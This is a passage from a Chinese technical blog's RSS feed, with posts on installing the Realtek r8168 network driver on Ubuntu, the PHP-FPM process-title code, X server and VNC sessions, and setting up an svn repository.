'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">Realtek RTL8111/RTL8168</a><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">3) Remove the r8169 module</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><strong>-&gt; rmmod r8169<br />-&gt; mv /lib/modules/`uname -r`/kernel/drivers/net/r8169.ko ~/r8169.ko.backup</strong><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " />( the ` is a backtick, it is not an apostrophe or single quote )<br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">4) Build the new r8168 module for the kernel</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><strong>-&gt; bzip2 -d r8168-8.009.00.tar.bz2<br />-&gt; tar -xf r8168-8.009.00.tar<br />-&gt; cd r8168-8.009.00<br />-&gt; make clean modules<br />-&gt; make install</strong><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">5) Rebuild the kernel module dependencies</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><strong>-&gt; depmod -a<br />-&gt; insmod ./src/r8168.ko</strong><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">6) Remove the r8169 module from initrd</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><strong>-&gt; mv /initrd.img ~/initrd.img.backup<br />-&gt; mkinitramfs -o /boot/initrd.img-`uname -r` `uname -r`</strong><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">7) Add r8168 module to /etc/modules</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><strong>-&gt; echo "r8168" &gt;&gt; /etc/modules</strong><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">8) Reboot, You are done!</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><span style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; ">9) Examine that ONLY the r8168 module is loaded for the interface</span><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " /><strong>-&gt; lspci -v</strong><br style="font-family: Ubuntu, Ubuntu, 'Ubuntu Beta', UbuntuBeta, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, HelveticaNeue-Light, 'Helvetica Neue Light', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: normal; background-color: #f7f6f5; " />01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 03)<br />Subsystem: ASRock Incorporation Device 8168<br />Kernel driver in use:&nbsp;r8168<br />Kernel modules:&nbsp;r8168<br /><br />Actions as needed in fact:<br />1. download driver;<br />2. untar and ./autorun.sh<br />Ok, it's all done.<br /><br /><br />sudo /etc/init.d/networking restart</div><div>sudo ifconfig eth0 down/up</div><div>nm-tool</div><div>cat /var/log/message</div><div>cat /var/log/syslog</div><div>dmesg</div><div>lspci</div><div>lsmod</div><div>lshw</div><div>dmidecode</div><div>biosdecode</div><div>cat /proc/cpu</div><div>vi /etc/network/interfaces</div><div>auto eth0</div><div></div><div></div><div>The solution</div><div>- Boot up Windows</div><div>- Right click on My Computer</div><div>- Click on Properties -&gt; Hardware -&gt; Device Manager</div><div>- Expand your network card section and double click on your Realtek network card</div><div>- Set "Wake-on-lan after shutdown" to enabled</div><div></div><div>i removed r8169 and installed r8168</div><div>this can be done by downloading it from the realtek-website.</div><div></div><div>the problem afterwards was that r8169 was coming back after a restart. The solution for this problem can be found here :</div><div>http://ubuntuforums.org/showthread.php?t=936379</div><div></div><div>thanx for the answer.</div><div></div><div></div><div>I had the same problem. I had to use Google for a long time, till i found a solution in a german forum (i am from germany; sorry for my english if it's too bad). Here are the instructions:</div><div></div><div></div><div></div><div>First, you need to rename the r8169 driver, because it won't work with this one.</div><div></div><div></div><div></div><div>&gt; mv /lib/modules/`uname -r`/kernel/drivers/net/r8169.ko /lib/modules/`uname -r`/kernel/drivers/net/r8169.ko.old</div><div></div><div>&gt; depmod -a</div><div></div><div></div><div></div><div>To save the current ramdiscimage and make a new one:</div><div></div><div>&gt; mv /boot/initrd.img-`uname -r` /boot/initrd.img-`uname -r`.old</div><div></div><div>&gt; mkinitramfs -o /boot/initrd.img-`uname -r`</div><div></div><div></div><div></div><div>Now you have to reboot. After this, it worked for me. To see weather the right module is loaded, you can use this:</div><div></div><div>&gt; lsmod | grep r81*</div><div></div><div></div><div></div><div>There it showed me the right module, r8168.</div><div>==============</div><div>The device eth0 is not ready!</div><div></div><div>记得我的电脑是在一次升级之后出现的这种情况，之前都使用得非常好，觉得可能是安装了一些中文汉化升级包，防火墙的一些英文参数发生了变化。不过还好，本人从网上找到了一些相关的帖子，解决了问题，本人验证过。</div><div></div><div>在终端中输入： sudo gedit /etc/firestarter/firestarter.sh&nbsp;</div><div></div><div>在 # External network interface data</div><div>这行注释的上面，添加一行：&nbsp;</div><div>LANG=en_US&nbsp;</div><div></div><div>保存后（不须重启），firestarter就可以顺利启动，正常工作了，再也没有那烦人的提示。</div><div></div><div></div><div>注意：在加入LANG=en_US之后，如果再运行firestarter的运行向导，则先前加入的LANG=en_US会消失，错误问题会和以前一样出现，防火墙不能用，你须要再一次加入LANG=en_US</div><div></div><div></div><div>eth0 &nbsp; &nbsp; &nbsp;Link encap:Ethernet &nbsp;HWaddr 00:24:E8:5F:EF:85 &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inet addr:192.168.1.88 &nbsp;Bcast:192.168.1.255 &nbsp;Mask:255.255.255.0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inet6 addr: fe80::224:e8ff:fe5f:ef85/64 Scope:Link</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UP BROADCAST RUNNING MULTICAST &nbsp;MTU:1500 &nbsp;Metric:1</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RX packets:2322 errors:0 dropped:906 overruns:0 frame:0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TX packets:1188 errors:0 dropped:0 overruns:0 carrier:0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; collisions:0 txqueuelen:1000&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RX bytes:215275 (210.2 KiB) &nbsp;TX bytes:518134 (505.9 KiB)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Interrupt:169 Memory:dfdf0000-dfe00000&nbsp;</div><div></div><div>========</div><div>sudo restart network-manager</div><div>=============</div><div>Suspend causes eth0 to disconnect intermittently</div><div></div><div>&nbsp; &nbsp; Install WICD (System &gt; Administration &gt; Synaptic Package Manager; install wicd).</div><div>&nbsp; &nbsp; Uninstall network manager (mark for complete removal network-manager and network-manager-gnome). &nbsp; &nbsp;Reboot. &nbsp;</div><img src ="http://www.blogjava.net/bacoo/aggbug/394530.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-01-22 10:18 <a href="http://www.blogjava.net/bacoo/archive/2013/01/22/394530.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何修改进程的命令行</title><link>http://www.blogjava.net/bacoo/archive/2012/12/21/393313.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Fri, 21 Dec 2012 07:18:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2012/12/21/393313.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/393313.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2012/12/21/393313.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/393313.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/393313.html</trackback:ping><description><![CDATA[<div><span style="white-space:pre">下面这段代码摘自php/sapi/fpm/fpm/fpm_env.c<br />	</span>/*</div><div><span style="white-space:pre">	</span> * This piece of code has been inspirated from nginx and pureftpd code, whic</div><div><span style="white-space:pre">	</span> * are under BSD licence.</div><div><span style="white-space:pre">	</span> *</div><div><span style="white-space:pre">	</span> * To change the process title in Linux we have to set argv[1] to NULL</div><div><span style="white-space:pre">	</span> * and to copy the title to the same place where the argv[0] points to.</div><div><span style="white-space:pre">	</span> * However, argv[0] may be too small to hold a new title. &nbsp;Fortunately, Linux</div><div><span style="white-space:pre">	</span> * store argv[] and environ[] one after another. &nbsp;So we should ensure that is</div><div><span style="white-space:pre">	</span> * the continuous memory and then we allocate the new memory for environ[]</div><div><span style="white-space:pre">	</span> * and copy it. &nbsp;After this we could use the memory starting from argv[0] for</div><div><span style="white-space:pre">	</span> * our process title.</div><div><span style="white-space:pre">	</span> */</div><div></div><div><span style="white-space:pre">	</span>for (i = 0; i &lt; fpm_globals.argc; i++) {</div><div><span style="white-space:pre">		</span>if (first == NULL) {</div><div><span style="white-space:pre">			</span>first = fpm_globals.argv[i];</div><div><span style="white-space:pre">		</span>}</div><div><span style="white-space:pre">		</span>if (last == NULL || fpm_globals.argv[i] == last + 1) {</div><div><span style="white-space:pre">			</span>last = fpm_globals.argv[i] + strlen(fpm_globals.argv[i]);</div><div><span style="white-space:pre">		</span>}</div><div><span style="white-space:pre">	</span>}</div><div><span style="white-space:pre">	</span>if (environ) {</div><div><span style="white-space:pre">		</span>for (i = 0; environ[i]; i++) {</div><div><span style="white-space:pre">			</span>if (first == NULL) {</div><div><span style="white-space:pre">				</span>first = environ[i];</div><div><span style="white-space:pre">			</span>}</div><div><span style="white-space:pre">			</span>if (last == NULL || environ[i] == last + 1) {</div><div><span style="white-space:pre">				</span>last = environ[i] + strlen(environ[i]);</div><div><span style="white-space:pre">			</span>}</div><div><span style="white-space:pre">		</span>}</div><div><span style="white-space:pre">	</span>}</div><div><span style="white-space:pre">	</span>if (first == NULL || last == NULL) {</div><div><span style="white-space:pre">		</span>return 0;</div><div><span style="white-space:pre">	</span>}</div><div></div><div><span style="white-space:pre">	</span>fpm_env_argv_len = last - first;</div><div><span style="white-space:pre">	</span>fpm_env_argv = fpm_globals.argv;</div><div><span style="white-space:pre">	</span>if (environ != NULL) {</div><div><span style="white-space:pre">		</span>char **new_environ;</div><div><span style="white-space:pre">		</span>unsigned int env_nb = 0U;</div><div></div><div><span style="white-space:pre">		</span>while (environ[env_nb]) {</div><div><span style="white-space:pre">			</span>env_nb++;</div><div><span style="white-space:pre">		</span>}</div><div></div><div><span style="white-space:pre">		</span>if ((new_environ = malloc((1U + env_nb) * sizeof (char *))) == NULL) {</div><div><span style="white-space:pre">			</span>return -1;</div><div><span style="white-space:pre">		</span>}</div><div><span style="white-space:pre">		</span>new_environ[env_nb] = NULL;</div><div><span style="white-space:pre">		</span>while (env_nb &gt; 0U) {</div><div><span style="white-space:pre">			</span>env_nb--;</div><div><span style="white-space:pre">			</span>new_environ[env_nb] = strdup(environ[env_nb]);</div><div><span style="white-space:pre">		</span>}</div><div><span style="white-space:pre">		</span>environ = new_environ;</div><div><span style="white-space:pre">	</span>}</div><div>#endif</div><div>#endif</div><div></div><div><span style="white-space:pre">	</span>spprintf(&amp;title, 0, "master process (%s)", fpm_globals.config);</div><div><span style="white-space:pre">	</span>fpm_env_setproctitle(title);&nbsp;</div><div><span style="white-space:pre">	</span>efree(title);</div><img src ="http://www.blogjava.net/bacoo/aggbug/393313.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2012-12-21 15:18 <a href="http://www.blogjava.net/bacoo/archive/2012/12/21/393313.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>玩转X</title><link>http://www.blogjava.net/bacoo/archive/2012/11/26/392041.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Mon, 26 Nov 2012 13:05:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2012/11/26/392041.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/392041.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2012/11/26/392041.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/392041.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/392041.html</trackback:ping><description><![CDATA[下面的分析是在Ubuntu环境下进行的。<br /><br />X分为Server和Client，我们可以通过X :1 vt9来启动一个X Server，然后DISPLAY=:1 gedit你会发现gedit这个client应用会出现在vt9上（通过Ctrl＋alt＋F9）来切换，当然你可以通过DISPLAY=:1 gnome-session在vt9上启动一个gnome-session，这样就相当于你在本地打开了两个桌面会话，其实这也可以通过startx -- :1 vt9这一个命令搞定。<br />如果出现了&#8220;X: user not authorized to run the X server, aborting.&#8221;这种错误，解决的方法是：修改/etc/X11/Xwrapper.config中的控制项：allowed_users=anybody。<br />如果期望在vt9上为另外一个用户打开一个X，需要先sudo login user2（使用su user2是不行的），然后再startx -- :1 vt9；或者先ssh user2@localhost，然后再startx -- :1 vt9，总之可以用w命令看一下，如果看不到user2就不行。<br /><br />很多时候我们ssh到服务器，可以通过ssh -C -X server_ip来连接服务器，这样可以执行服务器上的任何窗口应用了。但这么做之前请确保：设置服务器端配置文件/etc/ssh/sshd_config中包含"X11Forwarding yes";客户端配置文件/etc/ssh/ssh_config包含"ForwardX11 yes"。这种情况下，从客户端ssh到服务器端后, 服务端会自动设置DISPLAY环境变量, 允许在服务器端执行的图形程序将图形显示在客户端上. 在服务器上查看环境变量显示如下:<br />DISPLAY=localhost:10.0<br />在服务器上用netstat -lnpt可以看到有程序监听了6010端口<br />tcp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 127.0.0.1:6010&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0.0.0:*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LISTEN&nbsp;&nbsp;&nbsp;&nbsp; 4827/1<br />其实就是在服务器上启动了一个XServer，侦听6010端口，所以在服务器上运行窗口应用时（就是XClient）可以在在XServer上显示，而ssh server会进行X11Forwarding，这样窗口就通过ssh隧道来到了客户端，如果不希望在客户端当前vt上显示的话，可以在例如vt9上开一个X，然后执行DISPLAY=:1 ssh -C -X Server_ip<br /><br />可以设置DISPLAY=host:NumA.NumB，现在的系统启动X时都不再侦听端口，所以一般都是在本地玩X，如果服务器的X启动时打开了端口，那么可以直接把客户端的XClient放到服务器上，关于DISPLAY的详细说明，大家可以参考：http://hi.baidu.com/twltnjbntobehiq/item/af145efbaa022a13d7ff8c88<br /><br />下面再说说常用的一款软件vnc，一般我们用vncserver在服务器上启动一个daemon进程侦听端口，在客户机上用vncviewer来连接服务器上的vncserver，从而开启一个远程X桌面，最新的vnc（5.0.3）为例，在服务器上安装vncserver，别用/etc/vnc/下面的脚本启动vncserver，也别用vncserver-x11启动usermode的vncserver，这个server会让vncviewer看到和server完全一样的桌面，而且会同步控制server，用vncserver命令来启动，在5.0.3中这种模式被称作virtual模式，vncviewer连接这种vncserver后，相当于新开启一个X桌面投放到vncviewer上了，启动vncserver时可以通过添加-geometry和-depth来控制vncviewer看到的窗口大小和色深，这两个参数其实是Xvnc的参数，可以通过Xvnc --help来看到更多的参数。<br /><br />再补充一点，如果X完全挂掉了，需要手动启动X，那么用sudo start gdm<img src ="http://www.blogjava.net/bacoo/aggbug/392041.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2012-11-26 21:05 <a href="http://www.blogjava.net/bacoo/archive/2012/11/26/392041.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>创建svn</title><link>http://www.blogjava.net/bacoo/archive/2012/11/14/391315.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 14 Nov 2012 06:28:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2012/11/14/391315.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/391315.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2012/11/14/391315.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/391315.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/391315.html</trackback:ping><description><![CDATA[<div>对一个已有目录建立svn的最最精简的步骤：<br />1.&nbsp;svnadmin create svn_root<br />2. 修改svn_root/conf/svnserve.conf中的下面这一行（注意，每行配置，要把前面的空格也删除掉）：<br /><div>anon-access = write<br />3. svnserve -d -r svn_root #svnserve的根目录必须是通过svnadmin创建出来的目录，该目录下有conf/ db/ format hooks/ locks/等文件或文件夹<br />4. svn mkdir --parents&nbsp;svn://localhost/search/spider/trunk/ -m 'create the trunk dir for spider team of search group'<br />5. svn list svn://localhost/<br />6. svn list svn://localhost/search/<br />7. svn list svn://localhost/search/spider/<br />8. svn list svn://localhost/search/spider/trunk/<br />9. mkdir -p svn_spider_root/trunk/ #或许这个路径已经存在，更或许在svn_spider_root/trunk/目录下已经有很多内容了<br />10. cd svn_spider_root/trunk #可见，本地路径和svn server里的路径不一定一致，其实是压根没什么关系<br />11. svn co svn://localhost/search/spider/trunk . #此时，trunk目录已经在svn的control下了<br />12. svn info .<br />13. cp -r XXX .<br />14. svn add *<br />15. svn ci -m 'first version' .<br /><br />其他的一些资料：</div>svnadmin create /home/admin/svn_root/</div><div>svn mkdir --parents file:///home/admin/svn_root/project1_repo/{trunk,tags,branches} -m "initial dir creation"</div><div></div><div>#下面这些配置文件在配置时，千万不能以空格开头</div><div>cat &gt; /home/admin/svn_root/conf/svnserve.conf</div><div>[general] &nbsp;</div><div>password-db = passwd &nbsp;</div><div></div><div>cat &gt; /home/admin/svn_root/conf/passwd &nbsp;</div><div>admin = admin</div><div></div><div>svnserve -d -r &nbsp;/home/admin/svn_root/ --listen-port 3389</div><div></div><div>#会把/home/admin/some_existed_stuffs/目录下的东西ci到trunk下，不会在trunk下创建some_existed_stuffs目录</div><div>svn import -m "Initial import" /home/admin/some_existed_stuffs svn://localhost:3389/svn_root/project1_repo/trunk/</div><div></div><div>svn co svn://localhost:3389/svn_root/project1_repo/ project1_repo<br /><br />备注：<br />其实用file://和svn://的区别就在于是否通过svnserve启动了daemon进程侦听端口，所以svn mkdir和svn import都可以通过svn://来进行。<br />因此，如果不考虑打个http服务给别人使用，而只是在本地自己控制版本的话，完全可以用file://协议，例如：<br /><div>$ svnadmin create svn_test</div><div></div><div>$ svn mkdir file:///home/admin/svn_test/trunk/ -m 'create trunk dir'</div><div></div><div>Committed revision 1.</div><div></div><div>$ svn import mk_test/ file:///home/admin/svn_test/trunk/ -m 'import basic files'</div><div>Adding &nbsp;(bin) &nbsp;mk_test/t3</div><div>Adding &nbsp; &nbsp; &nbsp; &nbsp; mk_test/t3.cpp</div><div>Adding &nbsp; &nbsp; &nbsp; &nbsp; mk_test/Makefile</div><div></div><div>Committed revision 2.</div><div></div><div>$ svn co file:///home/admin/svn_test/trunk/ test_trunk</div><div>A &nbsp; &nbsp;test_trunk/t3</div><div>A &nbsp; &nbsp;test_trunk/t3.cpp</div><div>A &nbsp; &nbsp;test_trunk/Makefile</div><div>Checked out revision 2.</div><div></div><div>$ cd test_trunk</div><div></div><div>$ svn st</div><div></div><div>$ svn info</div><div>Path: .</div><div>URL: file:///home/admin/svn_test/trunk</div><div>Repository Root: file:///home/admin/svn_test</div><div>Repository UUID: 873f7a52-8ee6-4740-958b-5e58c9997b03</div><div>Revision: 2</div><div>Node Kind: directory</div><div>Schedule: normal</div><div>Last Changed Author: admin</div><div>Last Changed Rev: 2</div><div>Last Changed Date: 2012-11-14 14:46:19 +0800 (Wed, 14 Nov 2012)</div><div></div><div>$ vi t4.cpp</div><div></div><div>$ svn st</div><div>? &nbsp; &nbsp; &nbsp; t4.cpp</div><div>M &nbsp; &nbsp; &nbsp; t3.cpp</div><div></div><div>$ svn add t4.cpp</div><div>A &nbsp; &nbsp; &nbsp; &nbsp; t4.cpp</div><div></div><div>$ svn st</div><div>M &nbsp; &nbsp; &nbsp; t3.cpp</div><div>A &nbsp; &nbsp; &nbsp; t4.cpp</div><div></div><div>$ svn ci -m 'add t4.cpp'</div><div>Sending &nbsp; &nbsp; &nbsp; &nbsp;t3.cpp</div><div>Adding &nbsp; &nbsp; &nbsp; &nbsp; t4.cpp</div><div>Transmitting file data ..</div><div>Committed revision 3.</div><div></div><div>$ svn log</div><div>------------------------------------------------------------------------</div><div>r2 | admin | 2012-11-14 14:46:19 +0800 (Wed, 14 Nov 2012) | 1 line</div><div></div><div>import basic files</div><div>------------------------------------------------------------------------</div><div>r1 | admin | 2012-11-14 14:45:54 +0800 (Wed, 14 Nov 2012) | 1 line</div><div></div><div>create trunk dir</div><div>------------------------------------------------------------------------<br /><br />说到这里，有一个很有用的功能，例如你已经有一个目录，下面有一些文件，现在你想把这个目录受到版本控制，即把当前状态作为最开始的一个版本，在本地可以这么干：<br /><div>cd /home/admin/project1</div><div>svn co file:///home/admin/svn_root/tmp_projects/project1 . #this only creates the ".svn" folder for version control，其实就是将当前目录分配到svn的某一个节点下，这个节点如果不存在，需要事先mkdir，注意最后一个参数一定得是'.'</div><div>svn add ./* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#tell svn you want to version control all files in this dir</div><div>svn ci &nbsp;-m 'add /home/admin/project1 under version control' &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#check the files in</div></div><div></div>此外，如果需要http://协议，那需要搭建一个apache服务，参见相关链接[2]<br /><br />相关链接：<br />[1]&nbsp;<a 